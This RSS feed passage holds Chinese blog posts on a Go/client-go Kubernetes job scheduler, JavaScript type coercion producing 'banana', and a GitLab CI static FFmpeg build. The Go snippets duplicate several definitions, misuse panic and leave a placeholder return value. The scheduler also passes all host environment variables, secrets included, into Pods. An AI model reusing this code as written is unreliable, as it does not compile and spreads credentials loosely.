&lt;p&gt;目前因为使用的是 &lt;code&gt;Go&lt;/code&gt; 进行开发，所以使用了 k8s 官方的 &lt;code&gt;client-go&lt;/code&gt; 这个库。而这个库本身就提供了一些创建 &lt;code&gt;clientset&lt;/code&gt; 的方法&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/#user-content-fn-clientset&quot; id=&quot;user-content-fnref-clientset&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;package main

import (
  &quot;fmt&quot;

  &quot;k8s.io/client-go/kubernetes&quot;
  &quot;k8s.io/client-go/rest&quot;
  &quot;k8s.io/client-go/tools/clientcmd&quot;
)

func main() {
  // 这个方法里包含了 k8s 自身对 Cluster 的配置操作
  kubeConfig, err := rest.InClusterConfig()

  if err != nil {
    // 如果是开发环境，则使用当前 minikube。需要配置 KUBECONFIG 变量
    // 如果是 minikube，KUBECONFIG 变量可以指向 $HOME/.kube/config
    kubeConfig, err = clientcmd.NewNonInteractiveDeferredLoadingClientConfig(
      clientcmd.NewDefaultClientConfigLoadingRules(),
      &amp;amp;clientcmd.ConfigOverrides{}).ClientConfig()

    // 如果没有配置 KUBECONFIG 变量，且当前也没有在集群里运行
    if err != nil {
      panic(&quot;get k8s config fail: &quot; + err.Error())
    }
  }

  // 创建 clientset 失败
  clientset, err := kubernetes.NewForConfig(kubeConfig)
  if err != nil {
    panic(&quot;failed to create k8s clientset: &quot; + err.Error())
  }

  // 创建成功
  fmt.Println(clientset)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;rest.InClusterConfig()&lt;/code&gt; 代码也十分简单，就是去当前机器下的 &lt;code&gt;/var/run/secrets/kubernetes.io/serviceaccount/&lt;/code&gt; 读取 &lt;code&gt;token&lt;/code&gt; 和 &lt;code&gt;ca&lt;/code&gt;。以及读取 &lt;code&gt;KUBERNETES_SERVICE_HOST&lt;/code&gt; 和 &lt;code&gt;KUBERNETES_SERVICE_PORT&lt;/code&gt; 环境变量，再把他们拼在一起，感兴趣的同学可以去看下&lt;a href=&quot;https://github.com/kubernetes/client-go/blob/40d852a94d979475341d3624f7a2de00730ea68e/rest/config.go#L403-L433&quot;&gt;源码&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;根据上文可以知道 &lt;code&gt;rest.InClusterConfig()&lt;/code&gt; 是针对以及身在集群中的机器而言的。在本地开发环境是肯定不行的。所以我们需要另一个方法去解决这个问题。&lt;/p&gt;
&lt;p&gt;可以看到上面我已经做了处理，当发现 &lt;code&gt;InClusterConfig&lt;/code&gt; 失败后，会转而执行下面的代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;kubeConfig, err = clientcmd.NewNonInteractiveDeferredLoadingClientConfig(
  clientcmd.NewDefaultClientConfigLoadingRules(),
  &amp;amp;clientcmd.ConfigOverrides{}).ClientConfig()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码其实也比较简单，就是去读取当前环境下的 &lt;code&gt;KUBECONFIG&lt;/code&gt; 获取本地 k8s 的配置路径。如果没有这个变量，再去获取当前用户目录下的 &lt;code&gt;.kube/config&lt;/code&gt; 文件。最终根据文件改造成所需要的配置。主要源码可见: &lt;a href=&quot;https://github.com/kubernetes/client-go/blob/40d852a94d/tools/clientcmd/loader.go#L141-L161&quot;&gt;NewDefaultClientConfigLoadingRules&lt;/a&gt;、&lt;a href=&quot;https://github.com/kubernetes/client-go/blob/40d852a94d/tools/clientcmd/client_config.go#L477-L503&quot;&gt;ClientConfig&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;现在只要保证你本机有 &lt;code&gt;minikube&lt;/code&gt; 环境就可以正常调试、开发了。&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/#user-content-fn-rook&quot; id=&quot;user-content-fnref-rook&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h3&gt;创建 Job 及 Pod {#create-job-pod}&lt;/h3&gt;
&lt;p&gt;数据库查询的这里就不再阐述了，可以根据自身的业务进行适配、开发。这里只是起到一个抛砖引玉的效果。不止是数据库，其他任何东西都可以，主要还是要看自身的业务适合什么。&lt;/p&gt;
&lt;p&gt;我们先假设，这里从数据库里拿到了一条数据，我们需要把数据库的值传给 Pod。避免 Pod 里再做一次查询。现在我们需要先把 Job 定义好:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;import (
  batchv1 &quot;k8s.io/api/batch/v1&quot;
  apiv1 &quot;k8s.io/api/core/v1&quot;
  &quot;k8s.io/apimachinery/pkg/api/resource&quot;
  metav1 &quot;k8s.io/apimachinery/pkg/apis/meta/v1&quot;
)

// job 所需配置
type JobsSpec struct {
  Namespace string
  Image     string
  Prefix    string
}

// 返回指定的 cpu、memory 资源值
// 写法参考 k8s 见: https://github.com/kubernetes/kubernetes/blob/b3875556b0edf3b5eaea32c69678edcf4117d316/pkg/kubelet/cm/helpers_linux_test.go#L36-L53
func getResourceList(cpu, memory string) apiv1.ResourceList {
  res := apiv1.ResourceList{}
  if cpu != &quot;&quot; {
    res[apiv1.ResourceCPU] = resource.MustParse(cpu)
  }
  if memory != &quot;&quot; {
    res[apiv1.ResourceMemory] = resource.MustParse(memory)
  }
  return res
}

// 返回 ResourceRequirements 对象，详细见 getResourceList 函数注释
func getResourceRequirements(requests, limits apiv1.ResourceList) apiv1.ResourceRequirements {
  res := apiv1.ResourceRequirements{}
  res.Requests = requests
  res.Limits = limits
  return res
}

// 转为指针
func newInt64(i int64) *int64 {
  return &amp;amp;i
}

// 创建 job 的配置
// 返回指定的 cpu、memory 资源值
// 写法参考 k8s 见: https://github.com/kubernetes/kubernetes/blob/b3875556b0edf3b5eaea32c69678edcf4117d316/pkg/kubelet/cm/helpers_linux_test.go#L36-L53
func getResourceList(cpu, memory string) apiv1.ResourceList {
  res := apiv1.ResourceList{}
  if cpu != &quot;&quot; {
    res[apiv1.ResourceCPU] = resource.MustParse(cpu)
  }
  if memory != &quot;&quot; {
    res[apiv1.ResourceMemory] = resource.MustParse(memory)
  }
  return res
}

// 返回 ResourceRequirements 对象，详细见 getResourceList 函数注释
func getResourceRequirements(requests, limits apiv1.ResourceList) apiv1.ResourceRequirements {
  res := apiv1.ResourceRequirements{}
  res.Requests = requests
  res.Limits = limits
  return res
}

// job 所需配置
type jobsSpec struct {
  Namespace string
  Image     string
  Prefix    string
}

// 创建 job 的配置
func (j *jobsSpec) Create(envMap map[string]string) *batchv1.Job {
  u2 := uuid.NewV4().String()[:8]
  name := fmt.Sprint(j.Prefix, &quot;-&quot;, u2)

  return &amp;amp;batchv1.Job{
    ObjectMeta: metav1.ObjectMeta{
      Name:      name,
      Namespace: j.Namespace,
    },
    Spec: batchv1.JobSpec{
      Template: apiv1.PodTemplateSpec{
        Spec: apiv1.PodSpec{
          RestartPolicy: &quot;Never&quot;,
          Containers: []apiv1.Container{
            {
              Name:            name,
              Image:           j.Image,
              Env:             EnvToVars(envMap),
              ImagePullPolicy: &quot;Always&quot;,
              Resources:       getResourceRequirements(getResourceList(&quot;2500m&quot;, &quot;2048Mi&quot;), getResourceList(&quot;3000m&quot;, &quot;2048Mi&quot;)),
            },
          },
        },
      },
    },
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里没什么好说的，基本就是资源定义，以及上门还有注释。&lt;/p&gt;
&lt;p&gt;上面的代码其实少了一部分，这部分是把变量注入进去的。也就是 &lt;code&gt;EnvToVars&lt;/code&gt;，核心代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 把对象转化成 k8s 所能接受的环境变量格式
func EnvToVars(envMap map[string]string) []v1.EnvVar {
  var envVars []v1.EnvVar
  for k, v := range envMap {
    envVar := v1.EnvVar{
      Name:  k,
      Value: v,
    }
    envVars = append(envVars, envVar)
  }
  return envVars
}

// 获取当前系统中所有的变量，并转成 map 方式
func GetAllEnvToMap() map[string]string {
  item := make(map[string]string)
  for _, k := range os.Environ() {
    splits := strings.Split(k, &quot;=&quot;)
    item[splits[0]] = splits[1]
  }

  return item
}

// 合并两个 map，为了更好的性能，使用闭包的方式，这样 sourceMap 只需要调用一次即可
func MergeMap(sourceMap map[string]string) func(insertMap map[string]string) map[string]string {
  return func(insertMap map[string]string) map[string]string {
    for k, v := range insertMap {
      sourceMap[k] = v
    }

    return sourceMap
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在使用的时候就是这样了:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;job := jobsSpec{
  Prefix:    &quot;project-&quot; + &quot;dev&quot; + &quot;-job&quot;,
  Image:     &quot;docker image name&quot;,
  Namespace: &quot;default&quot;,
}

willMergeMap := MergeMap(GetAllEnvToMap())

// dbData 是从数据库里拿到的数据，格式大致如下
// [ { id: 1, url: &apos;xxx&apos; }, { id: 2, url: &apos;yyy&apos; } ]
for _, data := range dbData {
  currentEnvMap := willMergeMap(data)

  // 创建 Job
  _, err = api.CreateJob(currentEnvMap)

  if err != nil {
    panic(&quot;create job fail&quot;, err.Error())
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样一来，就实现了把当前环境变量及数据通过变量的方式传给 &lt;code&gt;Pod&lt;/code&gt;。这样的话，只需要保证当前的调度器里存在一些 &lt;code&gt;Pod&lt;/code&gt; 可能会用到的变量就行了，如: &lt;code&gt;S3 Token&lt;/code&gt;、&lt;code&gt;DB Host&lt;/code&gt; 等。通过这种方式，&lt;code&gt;Pod&lt;/code&gt; 基本上什么都不用关系，它所需要的变量，会由调度器传给它，分工明确。&lt;/p&gt;
&lt;h3&gt;优化 {#optimization}&lt;/h3&gt;
&lt;p&gt;其实以上其实就已经完成了最核心的东西，本身也不是特别的难。很简单的逻辑。只不过光有这些是不够的，还有很多地方需要考虑。&lt;/p&gt;
&lt;h4&gt;资源判断 {#resource-check}&lt;/h4&gt;
&lt;p&gt;这里在说之前有个前提，之前说过这个调度器是不能去更改任何数据的，更改数据只能由 &lt;code&gt;Pod&lt;/code&gt; 里的容器去更改。&lt;/p&gt;
&lt;p&gt;那么这个时候就有问题了。&lt;/p&gt;
&lt;p&gt;集群如果资源不够分配的话，那 &lt;code&gt;Pod&lt;/code&gt; 将会一直处于 &lt;code&gt;Pending&lt;/code&gt; 状态，根据上文，变量已经注入到 Pod 里了，而且由于里面的容器没有启动。那就会导致数据没有更改，而没有更改的数据，调度器就会一直认为他的新的。导致会为这条数据再启动一个 Job，一直循环到当集群资源足够后其中的一个 Pod 去更改了数据。&lt;/p&gt;
&lt;p&gt;举个例子，假设数据库里有一个 &lt;code&gt;status&lt;/code&gt; 的字段，当值为 &lt;code&gt;wating&lt;/code&gt; 时，调度器就认为这是一条新数据，会把这个数据转变成环境变量注入到 Pod 里，再由 Pod 去把 &lt;code&gt;waiting&lt;/code&gt; 更改成 &lt;code&gt;process&lt;/code&gt;。调度器每 3 分钟去扫一次数据，所以 Pod 必须在 3 分钟内把数据更改完毕。&lt;/p&gt;
&lt;p&gt;而这时由于资源不够，k8s 创建了这个 Pod，但是里面的代码没有运行，导致没有去更改数据，就会导致调度器一直去为同一条数据创建 Pod。&lt;/p&gt;
&lt;p&gt;解决方案也比较简单，只要去判断下 Pod 的状态是否为 &lt;code&gt;Pending&lt;/code&gt;，如果是，则不再创建 Pod。下面是核心代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func HavePendingPod() (bool, error) {
  // 获取当前 namespace 下所有的 pod
  pods, err := clientset.CoreV1().Pods(Namespace).List(metaV1.ListOptions{})
  if err != nil {
    return false, err
  }

  // 循环 pod，判断每个 pod 是否符合当前的前缀，如果符合，则说明当前的环境已经存在 Pending 状态了
  for _, v := range pods.Items {
    phase := v.Status.Phase
    if phase == &quot;Pending&quot; {
      if strings.HasPrefix(v.Name, Prefix) {
        return true, nil
      }
    }
  }

  return false, nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当为 &lt;code&gt;true&lt;/code&gt; 时，就不再创建 &lt;code&gt;Job&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Job 数量最大值 {#max-jobs}&lt;/h4&gt;
&lt;p&gt;集群的资源也不是无限的，虽然我们对 &lt;code&gt;Pending&lt;/code&gt; 情况做了处理，但是这只是一种防御手段。我们还是要对数量进行一个管控，当 Job 数量等于某个值时，不在创建 Job 了。代码也很简单，我这里就把获取当前环境下 Job 数量的代码放出来:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 获取当前 namespace 下同环境的 job Item 实例
func GetJobListByNS() ([]v1.Job, error) {
  var jobList, err = clientset.BatchV1().Jobs(Namespace).List(metaV1.ListOptions{})
    if err != nil {
    return nil, err
  }

  // 过滤非同前缀的 Job
  var item []v1.Job
  for _, v := range jobList.Items {
    if strings.HasPrefix(v.Name, Prefix) {
      item = append(item, v)
    }
  }

  return item, nil
}

func GetJobLenByNS() (int, error) {
  jobItem, err := api.GetJobListByNS()
  if err != nil {
      return 最大值, err
  }

  return len(jobItem), nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;删除已完成和失败的 {#delete-finished-jobs}&lt;/h4&gt;
&lt;p&gt;上面的代码其实是有问题的，k8s 的 &lt;code&gt;Job&lt;/code&gt; 资源类型是有一个特性是，当完成或者失败的时候，并不会删除自身，也就说即使他完成了，它的数据还会一直停留在那。所以上面的代码会把一些已经完成或者失败的 Job 也统计进去。到最后会出现一直无法创建 Job 的窘迫。&lt;/p&gt;
&lt;p&gt;解决方案有两个，第一个是在声明 &lt;code&gt;Job&lt;/code&gt; 资源时，添加 &lt;code&gt;spec.ttlSecondsAfterFinished&lt;/code&gt; 属性来做到 k8s 自动回收完成、失败的 Job。可惜的是这是高版本才有的属性，我司很遗憾是低版本的。那就只能用第二种方法了，就是在每次获取数量前，调用 api 把完成、失败的 Job 删除:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func DeleteCompleteJob() error {
  jobItem, err := GetJobListByNS()
  if err != nil {
    return err
  }

  // 如果不指定此属性，删除 job 时，不会删除 pod
  propagationPolicy := metaV1.DeletePropagationForeground
  for _, v := range jobItem {
    // 只删除已经结束的 job
    if v.Status.Failed == 1 || v.Status.Succeeded == 1 {
      err := clientset.BatchV1().Jobs(Namespace).Delete(v.Name, &amp;amp;metaV1.DeleteOptions{
        PropagationPolicy: &amp;amp;propagationPolicy,
      })

      if err != nil {
        return err
      }
    }
  }

  return nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;结尾 {#conclusion}&lt;/h3&gt;
&lt;p&gt;整个调度器的代码比较简单，没有必要专门抽成一个库来做。只要知道大概的思路，就可以根据自己的项目需求做出适合自己项目组的调度器。&lt;/p&gt;
&lt;p&gt;感谢我司大佬 &lt;a href=&quot;https://github.com/qqshfox&quot;&gt;@qqshfox&lt;/a&gt; 提供的思路&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;脚注&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-clientset&quot;&gt;
&lt;p&gt;可以把 &lt;code&gt;clientset&lt;/code&gt; 理解成一个可以和当前集群 master 通信的管道。 &lt;a href=&quot;https://bugs.cc/zh/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/#user-content-fnref-clientset&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-rook&quot;&gt;
&lt;p&gt;以上的方法参考 &lt;a href=&quot;https://github.com/rook/rook/blob/823018b1c8c1475fa2a1433aae3c99382c4269cf/cmd/rook/rook/rook.go#L95-L160&quot;&gt;rook&lt;/a&gt; 的写法。 &lt;a href=&quot;https://bugs.cc/zh/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/#user-content-fnref-rook&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 2&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>k8s</category><category>golang</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>(&apos;b&apos; + &apos;a&apos; + + &apos;a&apos; + &apos;a&apos;).toLowerCase() 输出 banana 的剖析</title><link>https://bugs.cc/zh/posts/javascript-output-banana/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/javascript-output-banana/</guid><description>一步步解析为何会输出 banana</description><pubDate>Thu, 15 Aug 2019 10:35:26 GMT</pubDate><content:encoded>&lt;h2&gt;前言 {#intro}&lt;/h2&gt;
&lt;p&gt;今天逛微博的时候看到有个博主发的一个问题，代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(&apos;b&apos; + &apos;a&apos; + + &apos;a&apos; + &apos;a&apos;).toLowerCase()
// &quot;banana&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当时第一反应是 JavaScript 会报错，但是并没有。然后就来了兴趣&lt;/p&gt;
&lt;h2&gt;剖析 {#analysis}&lt;/h2&gt;
&lt;p&gt;后来仔细一想，估计和 JavaScript 运算符优先级、隐式转化有关系。&lt;/p&gt;
&lt;p&gt;于是先去 MDN 查了一下 &lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Operator_Precedence#Table&quot;&gt;JavaScript 运算符优先级&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我先把上面代码用到的运算符和优先级列举出来:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;优先级&lt;/th&gt;
&lt;th&gt;运算类型&lt;/th&gt;
&lt;th&gt;关联性&lt;/th&gt;
&lt;th&gt;运算符&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;圆括号&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(...)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;一元正号&lt;/td&gt;
&lt;td&gt;从右至左&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+ ...&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;加法&lt;/td&gt;
&lt;td&gt;从左至右&lt;/td&gt;
&lt;td&gt;&lt;code&gt;... + ...&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;OK，了解了上面的运算符后，我们现在来拆分下上面的代码&lt;/p&gt;
&lt;p&gt;首先把 &lt;code&gt;toLowerCase&lt;/code&gt; 去掉，这个函数没啥用，只是起到一个迷惑的作用。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;&apos;b&apos; + &apos;a&apos; + + &apos;a&apos; + &apos;a&apos;
// to
&apos;b&apos; + &apos;a&apos; + (+ &apos;a&apos;) + &apos;a&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就是主要的，因为一元正号的优先级是比加法高的，所以这里用括号标注一下。&lt;/p&gt;
&lt;p&gt;现在我们来看下&lt;code&gt;一元正号&lt;/code&gt;的说明:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一元正号运算符位于其操作数前面，计算其操作数的数值，如果操作数不是一个数值，会尝试将其转换成一个数值。尽管一元负号也能转换非数值类型，但是一元正号是转换其他对象到数值的最快方法，也是最推荐的做法，因为它不会对数值执行任何多余操作。它可以将字符串转换成整数和浮点数形式，也可以转换非字符串值 true，false 和 null。小数和十六进制格式字符串也可以转换成数值。负数形式字符串也可以转换成数值（对于十六进制不适用）。如果它不能解析一个值，则计算结果为 NaN。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注意看上面的这段话: &lt;code&gt;如果操作数不是一个数值，会尝试将其转换成一个数值&lt;/code&gt;和 &lt;code&gt;如果它不能解析一个值，则计算结果为 NaN&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那上面代码的 &lt;code&gt;+ &apos;a&apos;&lt;/code&gt; 就是会变成 &lt;code&gt;NaN&lt;/code&gt;，过程如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;&apos;b&apos; + &apos;a&apos; + (+ &apos;a&apos;) + &apos;a&apos;
// to
&apos;b&apos; + &apos;a&apos; + Number(&apos;a&apos;) + &apos;a&apos;
// to
&apos;b&apos; + &apos;a&apos; + NaN + &apos;a&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;是不是清晰很多了，然后又涉及到了隐式转化，加号在 JavaScript 规则里有一条是，当操作符有一个是字符串类型时，另一个也要转成字符串类型。也就是说 &lt;code&gt;NaN&lt;/code&gt; 要进行 &lt;code&gt;toString&lt;/code&gt;。那 &lt;code&gt;NaN&lt;/code&gt; 在执行是什么呢？在 &lt;code&gt;ECMA-262&lt;/code&gt; 中有说明，如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/javascript-output-banana/ecma-tostring-nan.png&quot; alt=&quot;ECMA-262 第 9.8.1 节 ToString Applied to the Number Type: 若 m 为 NaN，则返回字符串 NaN&quot;&gt;&lt;/p&gt;
&lt;p&gt;也就是说 &lt;code&gt;NaN&lt;/code&gt; 会转成 &lt;code&gt;&quot;NaN&quot;&lt;/code&gt;。所以上面的代码就变成了这样:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;&apos;b&apos; + &apos;a&apos; + NaN + &apos;a&apos;
// to
&apos;b&apos; + &apos;a&apos; + &quot;NaN&quot; + &apos;a&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终在调用 &lt;code&gt;toLowerCase&lt;/code&gt; 函数转成小写，就变成了 &lt;code&gt;banana&lt;/code&gt;&lt;/p&gt;
</content:encoded><category>javascript</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>从 fdk_aac 编码器到自动静态编译 FFmpeg</title><link>https://bugs.cc/zh/posts/in-fdk-aac-to-ffmpeg-static-build/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/in-fdk-aac-to-ffmpeg-static-build/</guid><description>为了在 FFmpeg 集成 libfdk_aac 编码器，利用免费的 gitlab-runner 来做到自动静态编译 FFmpeg</description><pubDate>Mon, 15 Jul 2019 02:20:57 GMT</pubDate><content:encoded>&lt;h2&gt;前言 {#intro}&lt;/h2&gt;
&lt;p&gt;最近在公司做一些视频处理的 task，遇到了一个需求，是把 MP4 视频里的音频提取成 AAC 格式。&lt;/p&gt;
&lt;p&gt;当时的第一感觉就是很简单，直接使用 &lt;code&gt;ffmpeg -i source.mp4 -vn -acodec copy sound.aac&lt;/code&gt; 就好。&lt;/p&gt;
&lt;p&gt;但是发现这样是有问题的，其最终 AAC 的 &lt;code&gt;duration&lt;/code&gt; 和 MP4 的 &lt;code&gt;duration&lt;/code&gt; 完全不一样。如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/ffprobe-duration-mismatch.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;网上的方法也都试了，但是都无法解决这个问题。&lt;/p&gt;
&lt;h2&gt;分析 / 解决 {#analysis}&lt;/h2&gt;
&lt;p&gt;后来经过测试，发现不同的比特率 (bit rate)，最终的生成的 AAC Duration 是不一样的。&lt;/p&gt;
&lt;p&gt;但是我怎么知道这个比特率的值是多少呢？所以我从头缕了一下。&lt;/p&gt;
&lt;p&gt;首先 MP4 的视频文件我们是从 Webm 格式转过来的，而 Webm 视频我们又是基于 &lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/API/MediaRecorder/MediaRecorder&quot;&gt;MediaRecorder&lt;/a&gt; 来的。&lt;/p&gt;
&lt;p&gt;我又重新看了一下 &lt;code&gt;MediaRecorder API&lt;/code&gt;，发现其中有这样的属性:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;audioBitsPerSecond&lt;/code&gt;: 指定音频的比特率&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;OK 找到了，改了代码，对 &lt;code&gt;MediaRecorder&lt;/code&gt; 接口增了 &lt;code&gt;audioBitsPerSecond&lt;/code&gt; 属性，值设置了 &lt;code&gt;128000&lt;/code&gt;，也就是 &lt;code&gt;128K&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后使用下面的命令转化下，看看结果:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ffmpeg -i source.mp4 -vn -acodec aac -b:a 128k -y sound.aac
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现情况并没有得到改善…&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/ffprobe-duration-128k.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;后来想了一下，会不会是因为虽然使用了恒定比特率，但是还是会有一定的浮动，于是我把 &lt;code&gt;128k&lt;/code&gt; 改为 &lt;code&gt;200k&lt;/code&gt; 尝试下:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/ffmpeg-aac-200k.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;不仅没解决，反而又增加了 &lt;code&gt;duration&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在接近放弃的时候，&lt;a href=&quot;https://github.com/rurico&quot;&gt;rurico&lt;/a&gt; 提供了一个思路，让我尝试下 &lt;code&gt;libfdk_aac&lt;/code&gt; 编码器。于是经过重新编译 FFmpeg 来安装 &lt;code&gt;libfdk_aac&lt;/code&gt; 编码器 (FFmpeg 安装额外编码器需要重新编译)。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/ffmpeg-libfdk-aac.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;成功了…&lt;/p&gt;
&lt;h2&gt;静态编译 FFmpeg / 自动化 {#static-build}&lt;/h2&gt;
&lt;p&gt;但是这只是在 MAC 上成功，我需要让其在 &lt;code&gt;Ubuntu&lt;/code&gt; 上跑起来，但是一想到，在 &lt;code&gt;Ubuntu Docker&lt;/code&gt; 上编译整个 &lt;code&gt;FFmpeg&lt;/code&gt; 就头皮发麻。（我花了 4 个小时的时间去尝试在 Ubuntu 上编译带有 libfdk_aac 的 FFmpeg，最终失败告终。）&lt;/p&gt;
&lt;p&gt;下班回家后吃完饭后，又在网上重新查了下 &lt;code&gt;ubuntu build ffmpeg&lt;/code&gt;，发现了&lt;code&gt;静态编译&lt;/code&gt;的字样。茅塞顿开&lt;/p&gt;
&lt;p&gt;于是在网上搜了下有没有现成的静态编译好的 FFmpeg，发现有是有，但是因为 libfdk_aac 的 &lt;a href=&quot;https://android.googlesource.com/platform/external/aac/+/master/NOTICE&quot;&gt;LICENSE&lt;/a&gt; 规定，普遍都没有把 libfdk_aac 编译进去。&lt;/p&gt;
&lt;p&gt;于是在 github 上找到一个开源的 FFmpeg 静态编译项目: &lt;a href=&quot;https://github.com/zimbatm/ffmpeg-static&quot;&gt;ffmpeg-static&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;经过测试发现没问题，但是因为在国内，每次下载、安装、编译都很慢，于是想到 gitlab 有免费的 &lt;code&gt;runner&lt;/code&gt; 可以使用。于是在 gitlab 建了一个项目，用于自动编译。&lt;/p&gt;
&lt;p&gt;只需要在项目里加上 &lt;code&gt;.gitlab-ci.yml&lt;/code&gt; 就好:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;image: ubuntu:18.04

stages:
  - build

build-ubuntu:
  stage: build
  script:
    - apt-get update
    - apt-get install -yq bzip2 xz-utils perl tar wget git bc
    - apt-get install -yq autoconf automake build-essential cmake curl frei0r-plugins-dev gawk libfontconfig-dev libfreetype6-dev libopencore-amrnb-dev libopencore-amrwb-dev libsdl2-dev libspeex-dev libtheora-dev libtool libva-dev libvdpau-dev libvo-amrwbenc-dev libvorbis-dev libwebp-dev libxcb1-dev libxcb-shm0-dev libxcb-xfixes0-dev libxvidcore-dev lsb-release pkg-config texi2html yasm
    - git clone https://github.com/BlackHole1/ffmpeg-static
    - cd ffmpeg-static
    - chmod 777 *
    - ./build-ubuntu.sh -B
  artifacts:
    name: build
    paths:
      - ./ffmpeg-static/bin/*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后 push 到 gitlab，自动触发 ci。半个小时后，得到结果:&lt;/p&gt;
